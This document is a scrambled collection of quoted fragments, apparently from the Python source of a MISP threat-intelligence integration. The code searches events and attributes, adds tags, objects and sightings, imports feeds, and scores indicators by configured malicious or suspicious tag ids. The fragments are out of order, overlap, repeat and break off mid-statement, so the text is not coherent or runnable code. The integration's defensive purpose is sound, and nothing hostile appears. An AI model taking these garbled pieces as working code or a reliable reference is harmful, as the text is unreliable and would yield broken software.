found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids,","Attribute\" list and limits the tags and galaxies lists. Eventually, the outputs will","tag_ids: try: tag = int(tag) if tag <= 0: raise DemistoException(f\"Tag id has","set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids}","email address: {value} is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit):","args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in","v} for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator:","words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters and ';'","to MISP and returning outputs Args: obj: object to add to MISP event_id:","found. Returns: list includes all the events that were detected as related to","attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set()","(Union[dict, list, str]): object to replace keys in Returns: Union[dict, list, str]: same","argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability)","add attribute to internal (bool): if set to True, will not post results","dictionary that includes the tag list. is_event_level (bool): Whether the attribute_dict was received","params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise","re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator =","ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment':","filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets an event id and deletes it.","the tag list. is_event_level (bool): Whether the attribute_dict was received from an event","ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL':","{args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert the","\"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the","obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain',","event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}]","ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids)","id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'),","'Please make sure the API key is correct.') return_error(error) def warn(*args): \"\"\" Do","'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score':","the given UUID is an attribute's one. Otherwise it's event's. \"\"\" uuid =","outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path","attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value:","is an attribute's one. Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid') tag =","returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\"","may not a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'):","MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import","= convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if","= PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found","List[Dict[str, any]]: filtered response \"\"\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors')","if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events,","return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\"","{ 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = {","command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids,","url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port","in both sets, it will be removed from the suspicious tag ids set","'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked',","attribute value in MISP and then calculates it's dbot score. The score is","related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID')","tag ids lists the indicator will be scored as malicious. - Attributes tags","in unnecessary data, we want to limit this list to include only the","PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools","found_tag): \"\"\" This function searches for all the events that have the tag","all the events that were detected as related to the tag. \"\"\" scored_events","'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email',","logic. Indicators of attributes and Events that: * have tags which configured as","event_name): \"\"\" By the given object we go over all the tags and","the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, }","not found in MISP: \\nError message: {response}') else: human_readable = f'Event {event_id} has","{pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return","'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def","as part of another command (create event for example) Args: event_id (int): Event","= tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def","output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in","found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for","return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if","the original input will be returned Returns: str: dictionary created for misp to","url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password","(MISPEvent): When this function was called from create event command, the attrubite will","MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations =","DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\"","= [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path","in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for","elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command","demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if","arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets","comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen =","demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if not isinstance(args, list):","if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1","'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion',","is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator","key is correct.') return_error(error) def warn(*args): \"\"\" Do nothing with warnings \"\"\" pass","dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key,","ip). malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag","'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1","if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value,","set the event's details. \"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg =","UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP","(False). \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add","convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def","proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object","distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response:","'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider',","MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if","v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name:","{\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output,","DemistoException('Missing API Key. Fill in a valid key in the integration configuration.') MISP_URL","'OR:' and 'NOT:' using ',' as delimiter for parameters and ';' as delimiter","raise DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}') def add_object(event_id:","limits the tags and galaxies lists. Eventually, the outputs will be a list","over all the attributes that found (after limit the attributes amount to the","copy.deepcopy(response) if include_correlations: # return full related attributes only if the user wants","suspicious tag ids set and will be stayed only in the malicious one","is attribute's (is_event_level = false), and the tag is only related to an","will be scored 3 (i.e malicious). * have tags which configured as suspicious","'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type',","regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query,","isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for","f\"Current page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message += f\"Showing page {page}","f\"## MISP create event\\nNew event with ID: {event_id} has been successfully created.\\n\" return","may exist\" else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-attributes","{ 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting',","= set(), set() found_related_events = {} if not attributes_list: return None for attribute","event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i","reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids,","successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response","regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and","= PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}')","if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object","{}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been added to","if include_correlations: # return full related attributes only if the user wants to","response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from the","return full related attributes only if the user wants to get them back","for i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return","Extracting errors raised by PYMISP into readable response, for more information and examples","response (dict): The parsed outputs to context data (array of attributes). score: the","from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def","in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator: object created","type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', [])","if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added","not is_ip_valid(value): raise DemistoException(f\"Error: The given IP address: {value} is not valid\") if","'NOT:' using ',' as delimiter for parameters and ';' as delimiter for operators.","for the given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert","by sub-functions calculated the score of the indicator. For the context data outputs,","'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page","note: - In case the same tag appears in both Malicious tag ids","\"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to',","regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or =","elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type","outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool = False, demisto_args:","'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id})","'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference:","None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict):","'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis':","attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if","else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if","'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low':","the indicator Please see an example for a response in test_data/reputation_command_response.json Please see","is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD,","parses the response. This function goes over all the attributes that found (after","controller='attributes') human_readable = f'Tag {tag} has been successfully added to attribute {uuid}' return","extract_error(error: list) -> List[dict]: \"\"\" Extracting errors raised by PYMISP into readable response,","values that match the search query when user set the arg 'compact' to","not response: raise DemistoException( f\"Error: An event with the given id: {event_id} was","found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values()))","as they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name')","argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit","returned Returns: str: dictionary created for misp to perform complex query or if","return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags:","except ValueError as e: raise DemistoException(f'URL [{url}] is not a valid MISP feed.","the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') }","\"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args()","not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\"","recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the","= is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params,","att_id) if response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable =","= { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA =","response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i in","it's event's. \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid,","if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id,","None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({","for every attribute we remove the \"Related Attribute\" list and limits the tags","address: {value} is not valid\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value):","no need in returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i])","raise DemistoException('Attribute limit has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json')","has been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',","Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\":","== 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value} is","dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance,","attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, )","tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name,","hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score)","in MISP and then calculates it's dbot score. The score is calculated by","is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response,","att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID not","= { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0':","outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag}","(attribute tags). \"\"\" output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', [])","human_readable = f\"## MISP add attribute\\nNew attribute: {value} was added to event id","tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError:","the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command()","valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg","if not attributes_list: return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid","any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD,","elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES))","formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events =","try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}`","\"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to be","if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object]","to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes =","regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value} is not valid\") if dbot_type ==","\"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit","and suspicious) are stronger than events' tags. \"\"\" found_tag = None is_attribute_tag_malicious =","demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme})","any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD,","not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args","try: tag = int(tag) if tag <= 0: raise DemistoException(f\"Tag id has to","'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value',","NewConnectionError, ' 'Please make sure your MISP server url is correct.') if \"Please","an id that exists in both sets, it will be removed from the","= f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl,","in range(0, len(events)): # Filter object from keys in event_args events[i] = {key:","'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted':","dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type =","indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes","is attribute's (attribute tags). \"\"\" output = [] tag_set_ids = set() tags_list =","MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in","response \"\"\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err","with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name,","[] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return","f'`attribute` parameter could not be decoded, may not a valid JSON\\nattribute: {attributes}', str(e))","= misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids,","to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args:","demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as","obj: object to add to MISP event_id: ID of event \"\"\" response =","limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json()","found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response,","if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute","f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable,","== 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command","https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator: object created in","Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'),","PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url':","'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id':","1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in","range(0, len(events)): # Filter object from keys in event_args events[i] = {key: events[i].get(key)","Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]:","'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain':","def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids (each one is str), and","internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew event","attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'):",") def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability","Args: event_id (int): Event ID to add attribute to internal (bool): if set","',' as delimiter for parameters and ';' as delimiter for operators. using the","{'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}]","readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found in MISP for","if event['Threat Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids,","PyMISPError: raise DemistoException(\"Removing the required tag was failed. Please make sure the UUID","{demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict:","warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' 